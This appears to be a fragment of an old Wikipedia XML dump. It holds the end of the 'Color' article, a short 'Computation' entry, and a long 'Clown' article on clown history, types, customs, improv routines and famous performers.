Structural color is a property of some surfaces that are scored with fine parallel lines, formed of many thin parallel layers, or otherwise composed of periodic microstructures on the scale of the color's [[wavelength]], to make a [[diffraction grating]]. The grating reflects some wavelengths more than others due to [[interference]] phenomena, causing white light to
be reflected as colored light. Variations in the pattern's spacing often give rise to an iridescent effect, as seen in [[peacock]] feathers, films of oil, and [[mother of pearl]], because the reflected color depends upon the viewing angle.

Structural color is studied in the field of [[thin-film optics]].  A layman's term that describes particularly the most ordered structural colors is [[iridescence]].

== Footnotes ==

# {{note|cwe}} The spelling '''''color''''' is predominant in [[American English]], while '''''colour''''' is used in [[Commonwealth English]]. See [[American and British English spelling_differences#-our_.2F_-or|-our/-or]].

== See also ==
* [[Metamerism (color)|Metamerism]]
* [[Chromophore]]
* [[List of colors]]
* [[Qualia]]
* [[Color blindness]]
* [[Color temperature]]
* [[Color theory]]
**[[Color scheme]]
* [[Political_party#Colors_and_emblems_for_parties|Colors and emblems for parties]]
* [[Political color]]
* [[Color psychology]]
* [[Synaesthesia]] (the mental connection, almost always arbitrary, between senses, usually involving color)
* Goethe's ''[[Theory of Colors]]''
* The [[International Commission on Illumination]] defines colors and color spaces
* [[Thermochromics]]
* [[Tincture (heraldry)]]. The colors in heraldry.

==External links and sources==
* [http://mcsl.rit.edu Munsell Color Science Laboratory]
* [http://www.physicstoday.org/vol-55/iss-7/p43.html Comparative Article examining Goethean and Newtonian Color]
* [http://palimpsest.stanford.edu/waac/wn/wn21/wn21-3/wn21-308.html Kruithof curve citation]
* [http://www.soluxtli.com/edu13.htm Article by technical lighting manufacturer on rod/cone vision, with cites to literature]
* [http://www.angelfire.com/psy/reading/Colour.html The Psychology of Colour]
* [http://plato.stanford.edu/entries/color/ Stanford Encyclopedia of Philosophy entry]
* [http://webexhibits.org/causesofcolor/ Why are things colored?]
* [http://www.research.ibm.com/people/l/lloydt/color/color.HTM Why Should Engineers and Scientists Be Worried About Color?]
* [http://poynterextra.org/cp/colorproject/color.html Color, Contrast &amp; Dimension in News Design]
* [http://forum.colourlovers.com/ Forum for Colour Lovers]
* [http://members.cox.net/astro7/color.html Color Science]

[[Category:Color]]
[[Category:Image processing]]
[[Category:Vision]]

&lt;!-- interwiki --&gt;

[[af:Kleur]]
[[ar:لون]]
[[ast:Color]]
[[ay:Sama]]
[[bg:Цвят]]
[[bn:বর্ণ (রঙ)]]
[[ca:Color]]
[[cs:Barva]]
[[da:Farve]]
[[de:Farbe]]
[[es:Color]]
[[eo:Koloro]]
[[fa:رنگ]]
[[fr:Couleur]]
[[gl:Cor]]
[[ko:색]]
[[hr:Boja]]
[[io:Koloro]]
[[id:Warna]]
[[it:Colore]]
[[he:צבע]]
[[lv:Krāsa]]
[[lt:Spalva]]
[[hu:Szín]]
[[nah:Palli]]
[[nl:Kleur]]
[[nds:Klöör]]
[[ja:色]]
[[no:Farge]]
[[nn:Farge]]
[[pl:Barwa]]
[[pt:Cor]]
[[ro:Culoare]]
[[ru:Цвет]]
[[scn:Culuri]]
[[simple:Color]]
[[sk:Farba]]
[[sl:Barva]]
[[sr:Боја]]
[[fi:Väri]]
[[sv:Färg]]
[[ta:நிறம்]]
[[th:สี]]
[[vi:Màu sắc]]
[[tr:Renk]]
[[wa:Coleur]]
[[zh:颜色]]</text>
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  <page>
    <title>Christian escathology</title>
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    <title>Colour</title>
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    <title>Computation</title>
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In [[computer science]], a '''computation''' is the ''evolution over time of a computer''. However, the meaning of the word &quot;computer&quot; should be understood here in a large sense, since it does not apply only to [[digital computer]]s. A typical example of a '''physical computation''' is the evolution over time of a [[digital computer]]. Other examples of physical computations are derived from ''[[quantum computer]]s'', ''[[DNA computer]]s'' or ''[[molecular computer]]s''. In computer science, which is sometimes described as the discipline that studies computations, mathematical models of computers are defined; a typical model is the [[Turing machine]]. In this context, a computation thus becomes a ''mathematical object'': the evolution over time of a Turing machine. The sub-field of computer science which studies mathematical models of computations is called the [[theory of computation]].

== History ==
The word computation has an archaic meaning (from its Latin etymological roots), but the word has come back in use with the arising of a new scientific discipline: [[computer science]].

[[Category:Computer science]]

[[he:חישוביות]]

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      <timestamp>2006-03-03T21:57:02Z</timestamp>
      <contributor>
        <ip>70.56.197.33</ip>
      </contributor>
      <text xml:space="preserve">[[Image:OttoGriebling.jpg|right|200px|thumb|The greatest of 20th century American circus clowns, Master Clown [[Otto Griebling]]]]
[[Image:LouJacobs.jpg|right|150px|thumb|The quintessential American grotesque auguste, Master Clown [[Lou Jacobs]] (born Jacob Ludwig)]][[Image:Grock1.jpg|right|200px|thumb|Internationally recognized as the greatest of all stage or circus clowns, Grock (born Adrian Wettach)]]
[[Image:Fratellini.jpg|150px|right|thumb|Longtime stars of the Cirque Medrano, the legendary clown trio of Albert (auguste), Francois (whiteface), and Paul (&quot;contre-auguste&quot; or character) Fratellini]]
[[Image:Rivel.jpg|right|150px|thumb|Celebrated European auguste, Charlie Rivel (born Josep Andreau).]]
[[Image:FelixAdler.JPG|right|150px|thumb|American grotesque whiteface, [[Felix Adler]] with one of his trained pigs.]]






A  '''clown''' today is one of various types of comedic performers, on stage, television, in the [[circus (performing art)|circus]] and [[rodeo]]. Though not every clown is readily identifiable by appearance alone, clowns frequently appear in [[makeup]] and [[costume]], as well as typically unusually large [[footwear]], oversized or otherwise outlandish [[clothing]], big or otherwise unusual [[nose]], and enacting humorous sketches, usually in the interludes between major presentations. The clown's humor today is often visual and includes many elements of [[physical comedy]] or [[Slapstick|slapstick humor]] but not exclusively. For instance, [[Wavy Gravy]]'s comedy is often cerebral, spiritual, or even political in nature. The largest membership organization is the [[Clowns of America International]].

== History ==
Clowning is an ancient [[Performance art|art]] form, which appears in some manner in virtually every culture. In most cultures the clown is a ritual character associated with [[festival]] or [[rites of passage]] and is often very different from the most popular western form. In Europe, up until as late as the 19th century the clown was a typical ayday character, and often appears in [[carnival]]. The performance is symbolic of [[liminality]] - being outside the rules of regular society the clown is able to subvert the normal order, and this basic premise is contemporarily used by many activists to point out social absurdity. 

A popular early form of clown was the [[fool]], a role that can be traced back as far as ancient [[Egypt]] and appears as the first card in the [[tarot]] deck. Most fools suffered from some physical or mental deformity, and were given to the local landlord as charge because their families were unable to look after them, and the surrounding communities often feared them. They were the butt of jokes, and their masters had the power to inflict violence upon them and even take their lives. However, being perceived 'idiots' they were often the only people in court who enjoyed [[free speech]], and during the 16th century, especially in France, actors began to train as [[fools]] often in order to have the ability to make satirical comment. This is mainly where we get the contemporary idea of the [[court jester]], immortalised and romanticised by actors such as [[Danny Kaye]] in ''[[The Court Jester]]''. There is evidence of the 'wise fool' similar in function to the jester in many other cultures.

The clown of this era and eras previous to it were also associated with [[jugglers]], who were seen as the [[pariahs]] of society alongside actors, prostitutes and lepers, and thus (at least in Europe) wore stripes, or motley - cloth associated with marginalised people such as the condemned, with strong associations of the devil. Jugglers often used attributes of the clown, and the later court jesters often danced, performed acrobatics, and juggling.

During the 16th century the [[Commedia dell'arte]] also became a huge influence on perceptions of the clown in Europe, and influence which passed through [[pantomime]], into [[Vaudeville]] and on to the touring circuses of the 19th and 20th centuries. The Commedia[http://home.flash.net/~trshane/dellarte.htm] took influences from the grotesque masked clowns of carnivals and [[mysteries]], and began in market places as a way to sell vegetables. It became incredibly popular throughout Europe amongst both the general public and the  courts. The stock characters of the commedia originally included the Zanni - peasant clowns, Pantalone, the old Miser, Il Dottore - The Banal Doctor, and the grew from there to incorporate the Lovers, Arlechinno, Pedrolino, and Brighella, who have survived into the twentieth century in one form or another.

== Word origin == 
The word ''clown'' comes from words meaning &quot;clot&quot; or &quot;clod&quot; which came also to mean &quot;clumsy fellow&quot;, according to the ''[[Oxford English Dictionary]]''.

''Clown'' is both a noun and a verb, and can also be an adjective (clown bike, clown shoes, clown white, clown gag and so on). ''Clown'' is also used to refer to anyone who provides entertainment in a clownish manner. Within the &quot;clown world&quot;, and among professional clowns, &quot;clown&quot; often refers to the ''character'' portrayed, rather than the performer. This usage is somewhat rare outside of the professional clown and/or theatrical community.

==Clown skills==
It has been said &quot;clowns can do anything&quot;, mostly because clowns have such wildly varying performances. &quot;Everyone knows&quot; a clown can do magic, juggle, balance things on his nose and do backflips, but clowns might be called on to do just about anything. While there are ample media and amateur resources for developing a clown's skill set, the [[ clown conservatory ]] at the San Francisco Center for Circus Arts is the only professional year-long clown training program in America.

In the circus, a clown might be convinced to perform another circus role:
* Walk a tightrope, a highwire, a slack rope, or a piece of rope on the ground, though in the last case, the predictably unpredictable clown might be just as likely to wrestle around on the ground with it, as if it were a boa constrictor.
* Ride a [[horse]], a [[zebra]], a [[donkey]], an [[elephant]], or even an [[ostrich]].
* Substitute himself in the role of &quot;lion tamer&quot;.
* Act as &quot;emcee&quot;, from M.C. or [[Master of Ceremonies]], the preferred term for a clown taking on the role of &quot;Ringmaster&quot;.
* &quot;Sit in&quot; with the [[orchestra]], perhaps in a &quot;pin spot&quot; in the center ring, or from a seat in the audience.
* Anything any other circus performer might do. It is not uncommon for an [[ Acrobatics|acrobat]], a horse-back rider, or a lion tamer to secretly stand in for the clown, the &quot;switch&quot; taking place in a brief moment offstage.

== Types ==
There are several different types of clowns, including:

* The '''whiteface clown''', the best-known of modern clown types - [[Joseph Grimaldi|Joey Grimaldi]] (whose name, Joey, is the insider term for clown) was a whiteface clown.  The whiteface clown uses makeup to exaggerate their facial features and expressions rather than modify or conceal them. When a whiteface is performing with other clowns it is usually the leader and the smartest one. skullcaps/baldcaps or headgear appliances simulating a tall, pointy, or otherwise unusually shaped head. The whiteface clown is traditionally sad. 
* The '''comedy white face''' or '''grotesque clown''', who uses exaggerated make-up and costumes, such as large noses, shaped head, tiny hat, etc. [[Lou Jacobs]] is a famous ''grotesque'' clown.
* The '''character clown''', who adopts the character of some common type, such as a butcher, a policeman, housewife or [[hobo]]. Prime examples of this type of clown are [[Emmett Kelly]], [[Red Skelton]] and [[Charlie Chaplin]].  [[Lucy Ricardo]],  the most famous character played by [[Lucille Ball]] is considered by clowns to be a character clown.  Lucille Ball's clown character itself often dressed up as other characters, an instance of a character clown in turn ''playing a clown'' as part of the role.
* The '''[[rodeo clown]]''' has one of the most dangerous jobs in all of [[show business]]. A rodeo clown is a courageous and hard-working [[Cowhand|cowboy]] or [[Wrangler (profession)|animal wrangler]], dressed in wild costumes &amp;mdash; almost always oversized and consisting of loose fitting layers of clothing to protect them from, and to distract, Rodeo bulls, etc. The looseness of the layers allows a rodeo clown to shed portions of their attire in the event of its being snagged.  This professional &amp;mdash; whose highly dangerous job is to protect other performers from bucking horses and charging bulls while at the same time entertaining the audience with the antics of a clown &amp;mdash; might tell you: &quot;Druther lose a shirt than lose my life&quot;.
* The '''[[Pierrot]]''', or &quot;[[France|French]] clown&quot;, derived from the [[commedia dell'arte]] character Pedrolino - the youngest actor of the troupe, deadpan and downtrodden. Although Pedrolino appeared without mask, Pierrot usually appears in whiteface, typically with very little other color on the face. Like Arlechinno, Pedrolino's character changed enourmously with the rising popularity of pantomime in the late 19th century, becoming Pierrot. This clown character prefers black and white or other a simple primary color in his or her costume. (le Pierrot is often female, and has also been called &quot;Pirouette&quot; or &quot;Pierrette&quot;. When [[Bernard Delfont]] was made a [[life peer]], he chose &quot;Pierrot and Pierrette&quot; as the heraldic supporters of his [[coat of arms]].).
::The tragic [[Robert Hunter (lyricist)|Robert Hunter]] song ''&quot;Reuben and Cerise&quot;'' mentions Pirouette twice, in symbolic colors:
:::''...Cerise was dressing as Pirouette in white''
:::''when a fatal vision gripped her tight''
:::''Cerise beware tonight...''

::Cerise is Reuben's &quot;true love&quot;, but Ruby Claire was a temptress:

:::''...Sweet Ruby Claire at Reuben stared''
:::''At Reuben stared''
:::''She was dressed as Pirouette in red''
:::''and her hair hung gently down...''
:Both women have names which translate as &quot;red&quot;, but reuben's true love is dressed in pure white, the other, to whom he played his fateful song, is the &quot;lady in red&quot; this symbolism might imply that Reuben was Pierrot's companion, Arlecchino:
* '''Harlequin''', or ''[[Arlecchino]]'', a character originally from [[Commedia dell'Arte]], is a &quot;motley&quot; clown &amp;mdash; in &quot;commedia&quot;, Arlecchino always carries a cane  to &quot;whack&quot; the other performers, however this is normally taken off him by the other performers and used against him. This is believed to be the origin of &quot;[[slapstick]]&quot; a form of [[physical comedy]]. A slapstick (''battacio'' in [[Italian language|Italian]]) is a prop with two flat flexible wooden pieces mounted in parallel, the two sticks slap together when the implement is struck, causing a slapping sound, exaggerating the effect of a comedic blow. Despite the slapstick, Arlecchino is not malicious, but mischievous, the slapstick being a classic example of carnivalesque phallic imagery (see also the commedia masks' noses). Like a cross between Puck and Bottom, Arlecchino is spritely and adept at the same time as being clumsy and dim, and is normally the 'messenger' character in a comedy - the catalyst for mayhem. Arlechinno has a female counterpart, Arlechinna, or Rossetta, however more often he is in love with the character of Columbina, a straightforward and intelligent maid, who is usually given the prologue and epilogue.   Arlechinno has other derivatives with slightly different features: Traccagnino, Bagattino, Tabarrino, Tortellino, Naccherino, Gradelino, Mezzettino, Polpettino, Nespolino, Bertoldino, Fagiuolino, Trappolino, Zaccagnino, Trivellino, Passerino, Bagolino, Temellino, Fagottino,  Fritellino, Tabacchino, whose names could all be considered [[Inherently funny word|funny-sounding names]], even to an [[Italy|Italian]]. Arlechinno's name is probably from &quot;hellech&quot; &quot;inno&quot; - little devil, &quot;inno&quot; is little, so &quot;Trufflino&quot; is little Truffler, Trivellino is (Arlechinno's) &quot;little Brother&quot;. The Harlequin often loses much of Arlechinno's character during pantomime, as he becomes more of a ballet character, stripped of dialogue and subversive content to a wide extent. 
* '''Auguste''' : accompanying a circus clown, as part of a troupe, or as one of a clown duo, there is often another clown character known as an ''auguste'',  but the auguste's role is different from the other clowns: he is the &quot;straight man&quot; in most gags. The Auguste is so self-important that the audience inevitably takes the other clown to heart as their protagonist. [[Bongo]] (of the duo Bongo and [[Clownzo]]) is an Auguste clown, which [[moniker]] he might assure you means &quot;dignified and respectable&quot;.
:The Auguste is the zaniest and most foolish of the clown's group, yet attempts to look dignified, and thinks of himself as smart and superior and wise, which only lends to the comedic effect when he receives his inevitable come-uppance. The cleverer clown (the sidekick) always gets the better of the auguste. The auguste gets the pie in the face, is squirted with water, is knocked down on his backside, sits in the wet paint, etc.

There are also differing styles of clowning. In Europe there is a tradition of &quot;entree Clowning&quot; where the troupe of clowns usually comprising of &quot;White Face, August and a &quot;Joey&quot;
perform a set routine; &quot;The Busy Bee&quot; (in German, &quot;Beinchen Beinchen Gib Mir Honig&quot;), &quot;The Bon Bon&quot;, or &quot;the Ghost&quot; are just a few regularly performed in European Circus. Water entrees and Paste (soap) entrees are also staple diet for these audiences. Up until the eighties reprise clowns in Europe were very traditional but lately they are showing more versatility with a range of different styles and presentations involving audience participation and more inventive &quot;gags&quot; rather than relying on the old faithfuls. The main difference with the U.S. is that usually European shows have one ring and the clown has the complete attention of the audience; in the States, where multiple rings are the norm, there are more clowns, each working  a different section of the public. 

There was for many years a tradition of families of clowns all working together (such as the Rastellis, the Francescos, The Alexis, and many more), but with the economics changing it is no longer viable for many shows to afford a large family unit so they are slowly disappearing.

Circuses have recently been faced with stiff pressure from animal rights groups such as [[PETA]] for their abuse and mistreatment of animals, as well as the competetive pressure from popular new live action versions of children's television programs. In response, American circuses at least, have begun to lean towards shows based specifically around the clown as a marketable character and personality. This has promoted a new class of &quot;Celebrity Clowns&quot; like The Big Apple Circus' [[Barry Lubin]] (Grandma), Bello Knock or David Larible, headlining recent Ringling Brothers tours and garnering significantly larger shares of the a shows's operating budget than their fellow performers. This return to clown as central theme in circus is mirrored in the likes of Cirque du Solei, which commonly uses clowns as a central thread to link their acts and give their shows structure. The myriad smaller independent and underground circuses around the world have always relied upon the clown as the primary staple in their retinue.

*  &quot;The Power Clown&quot; Wall Street Journal Aug 12th 2005

== Customs and traditions ==
As with any ancient [[:Category:Arts|artform]], fools, clowns and other related [[Performance art|artist]]s have developed customs, traditions and even superstitions regarding their chosen avocation. Many of these customs are widely held, and considered fundamental to the Art of Clowning.

=== A ''knock'' is a ''plug'' ===
[[Image:Clown_chili_peppers.jpg|200px|thumb|A clown participating in a [[Memorial Day]] parade]]Professional clowns typically do not make disparaging remarks about other clowns, not only because this is considered petty, but because of the tradition that &quot;a knock is a plug&quot;, in other words, to mention a poor performer by name is to provide that performer with undue advertisement.

=== The Code ===
Each individual clown has the informal right to a costume, makeup and other unique performance attributes that must not be infringed by other clowns.  Despite no enforcement through [[copyright]] or similar laws, this [[code of non-infringement]] is  always respected by the professional clown, and its protection is even extended to individual clown routines and acts. This practice is of such a great importance to clowns, that it is often referred to by clowns as simply &quot;The Code.&quot;

==== &quot;Clown Eggs&quot; ====
In [[United Kingdom|Britain]], as recognition of The Code, each clown has their own [[clown face]] painted onto an eggshell and no two eggs can be alike.

=== Clown superstition ===
[[Image:Head to head clowns.jpg|thumb|right]]
It is common for clowns to avoid the use of blue face paint, as this is considered bad luck.

Clowns do not wish each other good luck, an old [[show business]] custom, however, among clowns the expression &quot;knock 'em dead&quot; seems more prevalent than the customary expression, &quot;break a leg.&quot; Wishing a fellow performer &quot;good luck&quot; is considered a [[jinx]].

==Clowning Frameworks==
Frameworks are the general outline of an act that clowns use to help them build out an act.  Frameworks can be loose, including only a general beginning and ending to the act, leaving it up to the clown's creativity to fill in the rest, or at the other extreme a fully developed script that allows very little room for creativity.

'''Shows''' are the overall production that a clown is a part of, it may or may not include elements other than clowning, such as in a circus show.  In a circus context, clown shows are typically made up of some combination of Entrées, Side dishes, Clown Stops, Track Gags, Gags and bits.

===Gags, bits and business===
''&quot;Business&quot;'' is the individual motions the clown uses, often used to express the clown's character. A ''&quot;gag&quot;'' is a very short piece of clown comedy which when repeated within a bit or routine may become a ''&quot;running gag&quot;''. Gags may be loosely defined as ''&quot;the jokes clowns play on each other&quot;''   Bits are the clown's sketches or routines made up of one or more gags either worked out and timed before going on stage or impromptu bits composed of familiar improvisational material. A gag may have a beginning, a middle and an end to them, or they may not.  Gags can also refer to the prop stunts/tricks or the stunts that clowns use, such as a squirting flower.

===The menu===
'''Entrées''' are feature clowning acts lasting 4-8 minutes. They are typically made up of various gags and bits, and usually use a clowning framework. Entrées almost always end with a blow-off. (The blow-off is the comedic ending of a show segment, bit, gag, stunt or routine.)

'''Side dishes''' are shorter feature acts.  Side dishes are essentially shorter versions of the Entrée, typically lasting 1 - 3 minutes.  Side dishes are typically made up of various gags and bits, and usually use a clowning framework. Side dishes almost always end with a blow-off.

===Interludes===
'''Clown Stops''' or '''interludes''' are the brief appearance of clowns while the props and rigging are changed.  These are typically made up of a few gags or several bits. Clown Stops almost always end with a blow-off.  Clown stops will always have a beginning, a middle and an end to them.

===Prop Stunts===
Among the more well-known clown stunts are: squirting flower; the &quot;too-many-clowns-coming-out-of-a-tiny-car&quot; stunt; doing just about anything with a [[rubber chicken]], tripping over ones own feet (or an air pocket or imaginary blemish in the floor), or riding any number of ridiculous vehicles or &quot;[[Clown bicycle|clown bikes]]&quot;.  Individual prop stunts are generally considered to be individual bits.

== Cooperative bits and 'improv'==
A clown duo might employ a number of cooperative &quot;bits&quot; to help them create an [[Improvisational comedy|improvisational]] performance. Using this technique allows both clowns to participate in what looks like a well-rehearsed [[Sketch comedy|sketch]], but might well be a mere placeholder/spacefiller for a missing act, or used to cover &quot;prop failure&quot; etc. Particularly in a [[Circus]] or [[Variety show]], clowns are often relied on to perform &quot;at the drop of a hat&quot; and a well-prepared clown will not only have a large repertoire of bits, but will remain alert when off-stage. In accordance with the well-known ''[[Show business|&quot;show biz&quot;]]'' tradition that ''&quot;The Show Must Go On&quot;'', the best clowns will always be ready to save the day, even in the midst of a tragedy -- such as an injured performer.

===Pete and re-Pete===
::''In &quot;Pete and re-Pete&quot;, the first clown narrates the gag, the second &quot;repeats&quot; the main elements of the first clown's exposition'':

&quot;I see you bought yourself a new hat&quot; 

--&quot;Yeah, a New Hat (big happy smile of contentment with his battered stovepipe hat)

&quot;Get it uptown?&quot;

--&quot;Yup, Got it Up Town, oh Yeah, you're not gonna get a Fine New Hat like this one DOWN town (taking the hat off again for another satisfied look at the hat, and rocking up on to the balls of his feet and back on his heels, proudly)

&quot;You can say that again&quot;

--&quot;OK:  Got it Up Town, yeah,  not gonna get one of these downtown&quot; (another proud look at the hat, picking an imagined piece of lint from the torn brim of the bedraggled Fine New Hat), yep, nothing like an Up Town Hat&quot;

&quot;Uhuh... they pay you much?&quot;

(the first clown narrates the gag, the second repeats main elements of this exposition)

=== &quot;That's good/that's bad&quot; ===
''In &quot;that's good/that's bad&quot;, the first clown narrates the gag, the second responds alternately with &quot;that's good /that's bad&quot;'':

&quot;I found a dog&quot;

--&quot;that's good&quot;(noncommittally)

&quot;It wasn't a hot dog though&quot; (showing the dog)

--&quot;that's too bad&quot; (looking at the dog, wistfully)

&quot;He's really friendly&quot;

--&quot;Oh, that's good&quot; (agreeably)

&quot;with people's legs&quot;

--&quot;Well THAT's bad&quot; (appalled)

&quot;He doesn't eat much

--&quot;that's good&quot; (nodding agreeably)

&quot;He sure poops a lot though&quot;

--&quot;that's bad&quot;('that stinks' expression)

&quot;he's housebroken&quot;

--&quot;THAT's good&quot;(of course it is)

&quot;No that's bad, he did some jail time for the last
housebreak&quot;

--&quot;Ok, then that's bad...&quot;(willing to be corrected)

&quot;No that's good - it was his second offense. He's gone straight now&quot;

--&quot;that's... uhhh... good?&quot;(confused now)

&quot;No that's bad, he's gone straight for your pastrami sandwich!&quot;

This bit is also seen with other &quot;good/bad&quot; interjections: perhaps ''&quot;that's fortunate/unfortunate&quot;'' or even (with a pair of two &quot;Surfer Dude&quot; clowns) as ''&quot;Dude that rocks!/Man, that bites&quot;''.

Note that a clown would likely choose the word 'pastrami' rather than 'corned beef', because pastrami is a [[Inherently funny word|funny word]] and corned beef is not.  Clowns prefer: ''monkey wrenches'' to &quot;spanners&quot;; ''doohickeys'' to &quot;gadgets&quot;; ''kitchen gadgets'' to &quot;small appliance&quot;; ''[[Moniker|moniker]]s'' to &quot;nicknames&quot;; would much prefer to be ''fidgety'' than &quot;restless&quot;.   

Each clown has his own gags or bits, these techniques are used to share gags with other clowns that are unfamiliar with the material, by using &quot;Yes, and...&quot; techniques (''&quot;Yes and&quot;'' has become a technique commonly taught in ''&quot;[[Improvisation|improv]]&quot;'' classes) such as &quot;Pete and re-Pete&quot;, and &quot;That's good/that's bad&quot;,  the clowns avoid conflicting gags, supporting each other in whatever they may say, and keeping the performance flowing. 

::It is considered bad [[Improvisation#Comedy|improvisation]]al form to &quot;deny the proposition&quot; as in:

&quot;Hi Dewey, looks like you got yourself a new pair of shoes&quot;

-- &quot;No, Tiny, these are my regular shoes.&quot;

::... as this tends to stop the show, &quot;killing&quot; the &quot;comedic momentum&quot; crucial to keeping the attention of the audience.

The &quot;Pete and re-Pete&quot; act has also been used in the Simpsons episode &quot;[[Treehouse of Horror III]]&quot;

== Famous Circus-Style Clowns==

* [[Achille Zavatta]] (1915 - 1993).
* [[Batatinha]] (literally ''Little Potato''), from [[Portugal]]. A very well-known clown.
* [[Bim Bom]], a famous clown of Revolutionary [[Russia]]n, executed by the [[Cheka]] for his [[Bolshevik]] [[satires]].
* [[Charlie Rivel]] - Other than Grock perhaps the most beloved an respected of all European clowns.
* [[Coco the Clown]] ([[Nicolai Poliakoff]]), Longtime star clown of the Bertram Mills Circus.
* [[ David Konyot ]], 4 times winner best clown (U K) Hungarian circus festival, Polish circus Festival.
* The Chickys, classic European clown act.
* [[Emmett Kelly]] - Extremely well-known American tramp clown.
* [[Francesco Caroli]].
* [[The Fratellinis]], a dynasty of French clowns.
* [[George Carl]] - American clown who found great success in Europe. Performed &quot;Royal Command Performance&quot; for the Queen at the Paladium in London. He also received the coveted &quot;Golden Clown&quot; award from Princess Grace, (Grace Kelly) at the Circus Festival of Monte Carlo.
* [[Glen &quot;Frosty&quot; Little]], America's only living Master Clown and longtime &quot;Boss Clown&quot; with the [[Ringling Brothers and Barnum and Bailey Circus]].
* Grock ([[Adrian Wettach]]).
* [[Joe Jackson]] Sr &amp; Jr. - famous tramp clown entree with a breakaway bicycle.
* [[Karandash]] (Mikhail Nikolayevich Rumyantsev).
* [[Lou Jacobs]] - During his 60 years in the American circus Master Clown Lou Jacobs came to be known as one of the most famous clowns in the world through his innovative comic routines, compassion for others and strong dedication to his work.
* [[Oleg Popov]],  Greatly admired clown from the Soviet Union.
* [[Otto Griebling]] - Prolific and influential Master Clown with the Cole Bros. and Ringling circuses. The single most admired and respected American circus clown of the 20th century.
* [[The Rastellis]] - European clown act
* [[Remi (the clown)|Remi]], &quot;Puerto Rico's Greatest Clown&quot;.
* [[Yuri Nikulin]], Russian clown and actor.

== Contemporary Circus-Style Clowns ==

* [[Barry Lubin]] -  &quot;Grandma&quot;, star clown of the[[ Big Apple Circus]] 
* [[Jeff Gordon]] - &quot;Le Clown Gordoon&quot;, star clown with the [[Big Apple Circus]]
* [[Greg and Karen DeSanto]] - Husband and wife clown/comedy team. 
* [[Pat Cashin]] - American clown and &quot;Comedy Ringmaster&quot; with the Shrine Circuses.
*[[Jorn 'Erasorhead' Barger]] - from Hoboken, a hobo-clown in the tradition of Freddy the Freeloader of Red Skelton fame.
* [[Rik Gern]] - Bonzo Crunch: Fool at Large; a popular circus and event clown from Austin, Tx.
* [[John Gilkey]], American clown and comic juggler who has appeared with the [[New Pickle Circus]] and [[Cirque du Soleil]].
* [[Timothy Noel Tegge]] - American whiteface clown and ringmaster with the Shrine Circus.
* [[Fumagalli]], European star clown soon to appear with the [[Big Apple Circus]]
* [[Chris and Gina Allison]] - &quot;Bucky and Gigi&quot;; Husband and wife clown team and founders of Cirque du Jour
* Billy Vaughn
* Mike Snyder
* Bill Machtell - Mr. Bill, longtime clown at the Circus World Museum in Baraboo, WI
* [[Giovanni Zoppe]] - Youngest performer ever to be inducted into the International [[Clown]] Hall of Fame.
* [[Steve Smith]] - &quot;T.J. Tatters&quot;; longtime director of Ringling [[Clown College]]
* [[Ernest Borgnine]], the American film and television actor, enjoys performing as a clown in parades, particularly in [[New York City]].
* [[Cepillin|Cepillín]], a Mexican clown.
* [[VeeKay the Zoot Suit Clown]] - Circus clown and official greeter at the Orange County Fair in Orange County, California.
* [[Buffo]], claimed to be the worlds strongest clown has a Master's degree in education and has been to the White House three times. One of the only clowns in history known to have ridden a Buffalo.

== Famous Film Clowns ==

* [[Charlie Chaplin]] - (April 16, 1889 – December 25, 1977) British born comedian. The most famous actor in early to mid Hollywood cinema era, he acted in, directed, scripted, produced, and eventually scored his own films. His principal character was &quot;The Little Tramp&quot;.
* [[Buster Keaton]] - (October 4, 1895 – February 1, 1966) The Great Stoneface. His innovative work as both a comedian and a director made great contributions to the development of the art of cinema.
* [[Harry Langdon]] - (June 15, 1884 – December 22, 1944) was an American silent film comedianand a first class mime.
* [[Laurel &amp; Hardy]] - perhaps the most famous comedy duo in film history.
* [[Ben Turpin]] (September 19, 1869 - July 1, 1940) cross-eyed comedian, best remembered for his work in silent films.
* [[Chester Conklin]] (January 11, 1886 - October 11, 1971) American comedian and actor.
* [[Snub Pollard]] (November 9, 1889, Melbourne, Australia, - January 19, 1962) was a silent movie comedian, popular in the 1920s. 
* [[Keystone Cops]] incompetent group of policemen created by Mack Sennett for his Keystone Film Company between 1912 and 1917.
* [[Roscoe &quot;Fatty&quot; Arbuckle]] (March 24, 1887 – June 29, 1933) One of the most popular actors of his era, but is best known today for his central role in the so-called &quot;Fatty Arbuckle scandal.&quot;
* [[W.C. Fields]] - (January 29, 1880 – December 25, 1946) was an American comedian and actor. Fields created one of the great American comic personas of the first half of the 20th century
* [[The Marx Brothers]] - a team of sibling comedians that appeared in vaudeville, stage plays, film and television.
* [[The Three Stooges]] - starred in many short features that consisted of masterful ways of showcasing their extremely physical brand of slapstick comedy.
* [[Abbott &amp; Costello]] (William (Bud) Abbott, 1897-1974); Louis Costello, 1906-1959) American comedy duo whose mastery of the white clown (straight man) /red clown (comic) relationship made them one of the most popular and respected teams in American comedy history.
* [[Martin &amp; Lewis]] - an American comedy duo, comprised of singer Dean Martin (as the &quot;straight man&quot;) and comedian Jerry Lewis (as his stooge).
* [[Jacques Tati]] - (October 9, 1908 – November 5, 1982) was a French comedian, mime and filmmaker best known as the socially inept Monsieur Hulot.
* [[Peter Sellers]] - (September 8, 1925 – July 24, 1980) Extremely versatile and talented English comedian and actor best remembered for the character of Inspector Clouseu.

== Famous Television Clowns ==
* [[Milton Berle]] - Texaco Star Theater, Berle's Buick Hour
* [[Sid Caesar]] - Your Show of Shows and Caesar's Hour
* [[Lucille Ball]] - I Love Lucy, The Lucy-Desi Comedy Hour, The Lucy Show, Here's Lucy
* [[Jackie Gleason]] - The Jackie Gleason Show, The Honeymooners
* [[Red Skelton]] - The Red Skelton Show
* [[Pinky Lee]] - The Pinky Lee Show
* [[Soupy Sales]] - The Soupy Sales Show
* [[Paul Reubens]] - Pee-Wee's Playhouse
* [[Rowan Atkinson]] - Mr. Bean, The Black Adder, The Thin Blue Line
* [[Benny Hill]] - The Benny Hill Show
* [[John Belushi]] - Saturday Night Live
* [[Michael Richards]] - Seinfeld

== Famous Theatrical Clowns ==

* [[Will Kemp]] (fl c 1589&amp;ndash;1600) actor dancer and clown who worked with Shakespeare.
* [[Joseph Grimaldi]] credited with being &quot;the first whiteface clown&quot; &amp;mdash; in an homage to Grimaldi, circus clowns began referring to them selves and each other as &quot;Joey&quot;s, and the term 'joey' is now a synonym for clown.
* [[George Washington Lafayette Fox]], perhaps the most famous American stage clown during the 19th century and one of the first known performers to become typecast in a role.
* [[Bobby Clark]] - Half of Clark &amp; McCullough and Broadway star
* [[Olsen &amp; Johnson]] - Stars of Broadway's ''Hellzapoppin'''
* [[Tommy Cooper]] - British comedy magician
* [[Carl Ballantine]] - Amercan comedy magician
